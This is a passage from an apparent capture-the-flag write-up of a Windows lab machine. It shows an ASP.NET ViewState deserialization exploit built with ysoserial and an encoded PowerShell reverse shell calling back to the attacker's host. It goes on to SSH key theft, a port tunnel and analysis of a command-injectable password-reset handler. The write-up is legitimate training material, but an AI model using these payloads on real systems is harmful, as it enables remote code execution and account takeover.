JpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBEAAAAAgAAAAGGwAAAHFTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoLxtFj9K1IPuEBn0dfPuAMsfwwBw4=
This payload simply pings my host the default number of times (five).
Submit POC
I’ll find the POST request and send it to Burp Repeater. It’s important that I use the POST to the same path so that the __VIEWSTATEGENERATOR
is right. I’ll replace only the __VIEWSTATE
parameter with the payload generated above, and submit. If there’s a redirect to login, that means the 30 minute life on the current cookie is up. I can just log in again, and update the cookie from dev tools. Once that’s right, on submitting, there are ICMP packets at a listening tcpdump
:
oxdf@hacky$ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
21:08:10.960559 IP 10.10.11.151 > 10.10.14.6: ICMP echo request, id 1, seq 1, length 40
21:08:10.960630 IP 10.10.14.6 > 10.10.11.151: ICMP echo reply, id 1, seq 1, length 40
21:08:12.000925 IP 10.10.11.151 > 10.10.14.6: ICMP echo request, id 1, seq 2, length 40
21:08:12.000969 IP 10.10.14.6 > 10.10.11.151: ICMP echo reply, id 1, seq 2, length 40
21:08:13.046438 IP 10.10.11.151 > 10.10.14.6: ICMP echo request, id 1, seq 3, length 40
21:08:13.046475 IP 10.10.14.6 > 10.10.11.151: ICMP echo reply, id 1, seq 3, length 40
21:08:14.059388 IP 10.10.11.151 > 10.10.14.6: ICMP echo request, id 1, seq 4, length 40
21:08:14.059436 IP 10.10.14.6 > 10.10.11.151: ICMP echo reply, id 1, seq 4, length 40
Shell
A powershell one liner (line three from this Nishang shell), update the IP and port, convert it to 16bit characters, and base64 encode it:
oxdf@hacky$ cat rev.ps1 | iconv -t utf-16le | base64 -w 0; echo
JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMQAwAC4AMQA0AC
4ANgAnACwANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2
ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaA
ApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUA
bgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmAD
EAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAJwBQAFMAIAAnACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0
AGgAIAArACAAJwA+ACAAJwA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbg
BkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0A
LgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQAKAAoA
On my Windows VM, I’ll use that as a payload for ysoserial.exe
:
PS > .\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "powershell -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMQAwAC4AMQA0AC4ANgAnACwANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAJwBQAFMAIAAnACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAJwA+ACAAJwA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQAKAAoA" --generator=90AA2C29 --decryptionalg=AES --decryptionkey=B16DA07AB71AB84143A037BCDD6CFB42B9C34099785C10F9 --validationalg=SHA1 --validationkey=99F1108B685094A8A31CDAA9CBA402028D80C08B40EBBC2C8E4BD4B0D31A347B0D650984650B24828DD120E236B099BFDD491910BF11F6FA915BF94AD93B52BF --viewstateuserkey=SAltysAltYV1ewSTaT3
/wEyhRwAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAAywovYyBwb3dlcnNoZWxsIC1lbmMgSkFCakFHd0FhUUJsQUc0QWRBQWdBRDBBSUFCT0FHVUFkd0F0QUU4QVlnQnFBR1VBWXdCMEFDQUFVd0I1QUhNQWRBQmxBRzBBTGdCT0FHVUFkQUF1QUZNQWJ3QmpBR3NBWlFCMEFITUFMZ0JVQUVNQVVBQkRBR3dBYVFCbEFHNEFkQUFvQUNjQU1RQXdBQzRBTVFBd0FDNEFNUUEwQUM0QU5nQW5BQ3dBTkFBMEFETUFLUUE3QUNRQWN3QjBBSElBWlFCaEFHMEFJQUE5QUNBQUpBQmpBR3dBYVFCbEFHNEFkQUF1QUVjQVpRQjBBRk1BZEFCeUFHVUFZUUJ0QUNnQUtRQTdBRnNBWWdCNUFIUUFaUUJiQUYwQVhRQWtBR0lBZVFCMEFHVUFjd0FnQUQwQUlBQXdBQzRBTGdBMkFEVUFOUUF6QURVQWZBQWxBSHNBTUFCOUFEc0Fkd0JvQUdrQWJBQmxBQ2dBS0FBa0FHa0FJQUE5QUNBQUpBQnpBSFFBY2dCbEFHRUFiUUF1QUZJQVpRQmhBR1FBS0FBa0FHSUFlUUIwQUdVQWN3QXNBQ0FBTUFBc0FDQUFKQUJpQUhrQWRBQmxBSE1BTGdCTUFHVUFiZ0JuQUhRQWFBQXBBQ2tBSUFBdEFHNEFaUUFnQURBQUtRQjdBRHNBSkFCa0FHRUFkQUJoQUNBQVBRQWdBQ2dBVGdCbEFIY0FMUUJQQUdJQWFnQmxBR01BZEFBZ0FDMEFWQUI1QUhBQVpRQk9BR0VBYlFCbEFDQUFVd0I1QUhNQWRBQmxBRzBBTGdCVUFHVUFlQUIwQUM0QVFRQlRBRU1BU1FCSkFFVUFiZ0JqQUc4QVpBQnBBRzRBWndBcEFDNEFSd0JsQUhRQVV3QjBBSElBYVFCdUFHY0FLQUFrQUdJQWVRQjBBR1VBY3dBc0FEQUFMQUFnQUNRQWFRQXBBRHNBSkFCekFHVUFiZ0JrQUdJQVlRQmpBR3NBSUFBOUFDQUFLQUJwQUdVQWVBQWdBQ1FBWkFCaEFIUUFZUUFnQURJQVBnQW1BREVBSUFCOEFDQUFUd0IxQUhRQUxRQlRBSFFBY2dCcEFHNEFad0FnQUNrQU93QWtBSE1BWlFCdUFHUUFZZ0JoQUdNQWF3QXlBQ0FBSUFBOUFDQUFKQUJ6QUdVQWJnQmtBR0lBWVFCakFHc0FJQUFyQUNBQUp3QlFBRk1BSUFBbkFDQUFLd0FnQUNnQWNBQjNBR1FBS1FBdUFGQUFZUUIwQUdnQUlBQXJBQ0FBSndBK0FDQUFKd0E3QUNRQWN3QmxBRzRBWkFCaUFIa0FkQUJsQUNBQVBRQWdBQ2dBV3dCMEFHVUFlQUIwQUM0QVpRQnVBR01BYndCa0FHa0FiZ0JuQUYwQU9nQTZBRUVBVXdCREFFa0FTUUFwQUM0QVJ3QmxBSFFBUWdCNUFIUUFaUUJ6QUNnQUpBQnpBR1VBYmdCa0FHSUFZUUJqQUdzQU1nQXBBRHNBSkFCekFIUUFjZ0JsQUdFQWJRQXVBRmNBY2dCcEFIUUFaUUFvQUNRQWN3QmxBRzRBWkFCaUFIa0FkQUJsQUN3QU1BQXNBQ1FBY3dCbEFHNEFaQUJpQUhrQWRBQmxBQzRBVEFCbEFHNEFad0IwQUdnQUtRQTdBQ1FBY3dCMEFISUFaUUJoQUcwQUxnQkdBR3dBZFFCekFHZ0FLQUFwQUgwQU93QWtBR01BYkFCcEFHVUFiZ0IwQUM0QVF3QnNBRzhBY3dCbEFDZ0FLUUFLQUFvQQYHAAAAA2NtZAQFAAAAIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAACERlbGVnYXRlB21ldGhvZDAHbWV0aG9kMQMDAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJCAAAAAkJAAAACQoAAAAECAAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYLAAAAsAJTeXN0ZW0uRnVuY2AzW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5CgYNAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkGDgAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcwYPAAAABVN0YXJ0CRAAAAAECQAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgcAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpTaWduYXR1cmUyCk1lbWJlclR5cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEBAAMIDVN5c3RlbS5UeXBlW10JDwAAAAkNAAAACQ4AAAAGFAAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYVAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBCgAAAAkAAAAGFgAAAAdDb21wYXJlCQwAAAAGGAAAAA1TeXN0ZW0uU3RyaW5nBhkAAAArSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYaAAAAMlN5c3RlbS5JbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBEAAAAAgAAAAGGwAAAHFTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoLldGeBmuaItzhyDWzPZ3JdFXg52I=
Putting that into the same request, on submitting, there’s a connection at nc
:
oxdf@hacky$ rlwrap -cAr nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.151 49864
Hitting enter shows the prompt, and then I can run commands as webuser:
PS C:\windows\system32\inetsrv> whoami
perspective\webuser
I can also read user.txt
:
PS C:\users\webuser\desktop> type user.txt
dfc768e8************************
SSH
In C:\users\webuser
there’s a .ssh
directory:
PS C:\users\webuser> ls
Directory: C:\users\webuser
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 9/2/2021 1:30 PM .ssh
d-r--- 8/2/2021 2:20 PM 3D Objects
d-r--- 8/2/2021 2:20 PM Contacts
d-r--- 3/23/2022 7:01 PM Desktop
d-r--- 8/2/2021 2:20 PM Documents
d-r--- 8/2/2021 2:20 PM Downloads
d-r--- 8/2/2021 2:20 PM Favorites
d-r--- 8/2/2021 2:20 PM Links
d-r--- 8/2/2021 2:20 PM Music
d-r--- 8/2/2021 2:20 PM Pictures
d-r--- 8/2/2021 2:20 PM Saved Games
d-r--- 8/2/2021 2:20 PM Searches
d-r--- 8/2/2021 2:20 PM Videos
-a---- 3/23/2022 7:00 PM 42496 userswebuserdesktop
PS C:\users\webuser> cd .ssh
PS C:\users\webuser\.ssh> ls
Directory: C:\users\webuser\.ssh
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/2/2021 1:31 PM 400 authorized_keys
-a---- 9/2/2021 1:28 PM 1679 id_rsa
-a---- 9/2/2021 1:28 PM 402 id_rsa.pub
It contains a SSH key pair, and I can use it to get a better shell with SSH:
oxdf@hacky$ vim ~/keys/perspective-webuser
oxdf@hacky$ chmod 600 ~/keys/perspective-webuser
oxdf@hacky$ ssh -i ~/keys/perspective-webuser webuser@10.10.11.151
Warning: Permanently added '10.10.11.151' (ECDSA) to the list of known hosts.
Microsoft Windows [Version 10.0.17763.2803]
(c) 2018 Microsoft Corporation. All rights reserved.
webuser@PERSPECTIVE C:\Users\webuser>
Shell as administrator
Enumeration
File System
webuser’s home directory doesn’t have anything else of interest. There is a sqladmin user, but webuser can’t access their directory:
PS C:\Users> ls
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 8/2/2021 1:16 PM .NET v4.5
d----- 8/2/2021 1:16 PM .NET v4.5 Classic
d----- 8/2/2021 2:28 PM Administrator
d-r--- 9/28/2021 11:18 AM Public
d----- 8/16/2021 9:28 PM sqladmin
d----- 3/23/2022 7:00 PM webuser
In the root of c:
, there’s both a typical IIS inetpub
directory and a WEBAPPS
directory:
PS C:\> ls
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 8/2/2021 1:42 PM inetpub
d----- 10/12/2022 9:40 AM Microsoft
d----- 9/3/2021 3:04 PM mount
d----- 8/2/2021 10:33 AM PerfLogs
d-r--- 3/24/2022 8:37 AM Program Files
d----- 9/28/2021 10:47 AM Program Files (x86)
d-r--- 9/28/2021 12:02 PM Users
d----- 9/1/2021 11:49 PM WEBAPPS
d----- 4/13/2022 8:39 AM Windows
The mount
and Microsoft
directories are non-standard, but don’t seem to have anything interesting.
The WEBAPPS
dir has three folders:
PS C:\WEBAPPS> ls
Directory: C:\WEBAPPS
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 9/1/2021 11:49 PM AdminPanel
d----- 2/10/2022 7:15 PM PartImages_Prod
d----- 2/10/2022 7:24 PM PartImages_Staging
There’s a lot of .aspx
files in these directories.
C:\inetpub\wwwroot
has only the default iisstart.htm
file. The bin
directory does have some interesting stuff:
PS C:\inetpub\bin> ls */*
Directory: C:\inetpub\bin\Production
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 8/15/2021 11:20 PM 1130 App.config
-a---- 7/30/2021 2:54 PM 5120 PasswordReset.exe
-a---- 8/15/2021 11:19 PM 1130 PasswordReset.exe.config
Directory: C:\inetpub\bin\Staging
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/8/2021 6:44 PM 1136 App.config
-a---- 7/30/2021 2:54 PM 5120 PasswordReset.exe
-a---- 9/8/2021 6:44 PM 1136 PasswordReset.exe.config
PasswordReset.exe
is interesting. Get-FileHash
shows that the two binaries are the same:
PS C:\inetpub\bin> Get-FileHash */PasswordReset.exe
Algorithm Hash Path
--------- ---- ----
SHA256 77532B3AA86623E0A9216E8E997BA0BFCC285FFC28AF5CFAFD27EB3276E64860 C:\inetpub\bin\Production\PasswordReset.exe
SHA256 77532B3AA86623E0A9216E8E997BA0BFCC285FFC28AF5CFAFD27EB3276E64860 C:\inetpub\bin\Staging\PasswordReset.exe
PasswordReset.exe
Running the binary shows it needs arguments:
PS C:\inetpub\bin\Production> .\PasswordReset.exe
Please supply email address and new password
Giving it that, the output looks like it works:
PS C:\inetpub\bin\Production> .\PasswordReset.exe 0xdf@perspective.htb 111!!!qqqQQQ
Resetting Password for user: 0xdf@perspective.htb
...successfully changed password
In fact, this new password is in place for only the Production site. If I jump to the Staging
directory and try, it fails:
PS C:\inetpub\bin\Staging> .\PasswordReset.exe 0xdf@perspective.htb 111!!!qqqQQQ
Resetting Password for user: 0xdf@perspective.htb
Unhandled Exception: System.Data.SqlClient.SqlException: Cannot open database "perspective_stage" requested by the login. The login failed.
Login failed for user 'PERSPECTIVE\webuser'.
at System.Data.SqlClient.SqlInternalConnectionTds..ctor(DbConnectionPoolIdentity identity, SqlConnectionString connectionOptions, SqlCredential credential,
...[snip]...
So the DB on staging is expecting to be logged into by some user other than webuser. If I can find the staging website, it might be a good target for exploitation.
I can confirm that this binary is run as part of the password change process as well. C:\WEBAPPS\PartImages_Staging\handlers\changePassword.ashx
contains this line:
System.Diagnostics.ProcessStartInfo procStartInfo = new System.Diagnostics.ProcessStartInfo("cmd", "/c C:\\inetpub\\bin\\" + Configuratio
nManager.AppSettings["environment"] + "\\PasswordReset.exe " + decryptedstring + " " + password1);
It’s running the binary, and in a command injectable way if I can control decryptedstring
, which comes a few lines earlier:
string SessionKeyEnvName = "PerspectiveSessionKey" + ConfigurationManager.AppSettings["environment"];
string decryptedstring = perspective.Utils.Decrypt(token, Environment.GetEnvironmentVariable(SessionKeyEnvName));
It’s the decrypted value of the token. I could also try injecting via the password1
variable, but that must first pass though ValidPassword
:
private bool ValidPassword(string Password)
{
var regex = new Regex("^([a-zA-Z0-9!@#.^]{6,15})$");
return regex.IsMatch(Password);
}
With that limited character set / length, I wasn’t able to inject.
Listening Services
Windows always has a lot of listening ports. I’ll snip out the RPC ports in the 49xxx range:
webuser@PERSPECTIVE C:\ProgramData>netstat -ano
Active Connections
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:22 0.0.0.0:0 LISTENING 2364
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 844
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:8000 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:8009 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING 4
...[snip]...
TCP 10.10.11.151:22 10.10.14.6:34598 ESTABLISHED 2364
TCP 10.10.11.151:139 0.0.0.0:0 LISTENING 4
TCP 10.10.11.151:49867 10.10.14.6:443 ESTABLISHED 12396
...[snip]...
TCP [::]:22 [::]:0 LISTENING 2364
TCP [::]:80 [::]:0 LISTENING 4
TCP [::]:135 [::]:0 LISTENING 844
TCP [::]:445 [::]:0 LISTENING 4
TCP [::]:5985 [::]:0 LISTENING 4
TCP [::]:8000 [::]:0 LISTENING 4
TCP [::]:8009 [::]:0 LISTENING 4
TCP [::]:47001 [::]:0 LISTENING 4
...[snip]...
UDP 0.0.0.0:123 *:* 2464
UDP 0.0.0.0:5353 *:* 1492
UDP 0.0.0.0:5355 *:* 1492
UDP 10.10.11.151:137 *:* 4
UDP 10.10.11.151:138 *:* 4
UDP 127.0.0.1:53811 *:* 2416
UDP [::]:123 *:* 2464
UDP [::]:5353 *:* 1492
UDP [::]:5355 *:* 1492
NetBios (135) and SMB (445) don’t do much for me at this point. I’ve already enumerated the web services on 80 and 8000. WinRM (5985) isn’t really needed as I have SSH.
8009 stands out as unknown, but it could be the staging site.
Staging Web Site
Tunneling
I’ll reconnect to SSH using an additional option, -L 8009:127.0.0.1:8009
. This opens a listening port on my host on 8009, and forwards any traffic to it through the SSH tunnel and then from Perspective to 127.0.0.1:8009.
oxdf@hacky$ ssh -i ~/keys/perspective-webuser -L 8009:127.0.0.1:8009 webuser@10.10.11.151
Microsoft Windows [Version 10.0.17763.2803]
(c) 2018 Microsoft Corporation. All rights reserved.
webuser@PERSPECTIVE C:\Users\webuser>
Now I can access the site in my local browser at http://127.0.0.1:8009
.
Site
The site looks virtually identical to the main website:
The subtle difference is at the bottom, where it shows the “Environment: Staging | (Port: 8009) | (external domain: staging.perspectivel.htb)”.
Trying to log in with the account I created earlier fails, suggesting this is running with a different database, and matches up with what I saw previously with PasswordReset.exe
.
Another difference with the public site is the error messages are more verbose. For example, visiting a non-existent path on the main site returns:
On staging it’s got more detail:
Previous Vulnerabilities
The shtml
file read vulnerability is still present, though doesn’t add much, as I can read files from the staging directory over SSH.
Looking at the web.config
, the machineKey
section is different, this time using the AutoGenerate
and IsolateApps
keywords:
<machineKey decryption="AES" decryptionKey="AutoGenerate,IsolateApps" validation="SHA1" validationKey="AutoGenerate,IsolateApps" compatibilityMode="Framework20SP2" />
According to Microsoft, AutoGenerate
tells ASP.NET to generate a random key, which is stored somewhere (perhaps by the Local Security Authority Service). There may be a way to access it, but I couldn’t find one.
Without these keys, I can’t get to admin. And even when I can (see Beyond Root), I don’t have all I need to perform the deserialization attack.
Password Reset Flow
On the login page (/Account/Login
) there’s a link for “Forgot your password?”:
That links leads to /Account/Forgot
, which asks for an email address. Entering the admin email returns an error:
Giving it my account reloads /Account/Forgot
, this time asking for my security questions. If I get any of them wrong, it errors:
On getting them correct, it loads /Account/forgot?token=LJ77Ah...[snip]...LFg
, where the token
looks like base64-encoded data, and the window presents the chance to change my password. On entering something twice, it replies that it worked:
Reset Admin Password
Token Analysis
Looking more closely at the token, it decodes to 48 bytes of random data:
oxdf@hacky$ echo "LJ77AhqP4QX076E3VGrz9ZL4GUciOLspNMIW5xSXs6Q869YXMT4JExe9Jz79mLFg" | base64 -d | xxd
00000000: 2c9e fb02 1a8f e105 f4ef a137 546a f3f5 ,..........7Tj..
00000010: 92f8 1947 2238 bb29 34c2 16e7 1497 b3a4 ...G"8.)4.......
00000020: 3ceb d617 313e 0913 17bd 273e fd98 b160 <...1>....'>...`
It seems to generate the same token each time. I’ll try registering a new user, and following the path, and the token does change, but also the start is still the same:
oxdf@hacky$ echo "LJ77AhqP4QX076E3VGrz9Z7Euj4AupXe8t_Zzy9O-i-baQJn9BTYOaQsqPyJ_juf" | tr '\-\_' '\+\/' | base64 -d | xxd
00000000: 2c9e fb02 1a8f e105 f4ef a137 546a f3f5 ,..........7Tj..
00000010: 9ec4 ba3e 00ba 95de f2df d9cf 2f4e fa2f ...>......../N./
00000020: 9b69 0267 f414 d839 a42c a8fc 89fe 3b9f .i.g...9.,....;.
Because it’s URL-safe base64, I’ll need to replace -_
with +/
for the Linux base64
to handle it.
The similar starting 16 bytes implies this is more than just a random token, but perhaps some kind of encrypted data.
After resetting the box, the token for my same account name does change. My guess is that the encryption key is changing in this new instance?
Change Password Request
The final step to change the password is a request sent by JavaScript, so the full page doesn’t reload. Looking at the request in Burp, the box has two passwords and the token
:
POST /handlers/changePassword.ashx HTTP/1.1
Host: 127.0.0.1:8009
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 110
Origin: http://127.0.0.1:8009
Connection: close
Referer: http://127.0.0.1:8009/Account/forgot?token=0xdf0ox4kHi05M_Z-1gxHmtgS5RyTUdY5IcK9PPUip8wWwpsSBgqEVUdVd-ai5drFpIR
Cookie: wp-settings-1=mfold%3Do; wp-settings-time-1=1657556979; ASP.NET_SessionId=4rjvscghkfa5k0jvnkxgw0b3
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
password1=0xdf0xdf.&password2=0xdf0xdf.&token=0xdf0ox4kHi05M_Z-1gxHmtgS5RyTUdY5IcK9PPUip8wWwpsSBgqEVUdVd-ai5drFpIR
It seems the token is what identifies the user who’s password can be reset, and that makes sense with the theory that it’s encrypted and contains the account name.
In repeater, I can send this again and look at the response:
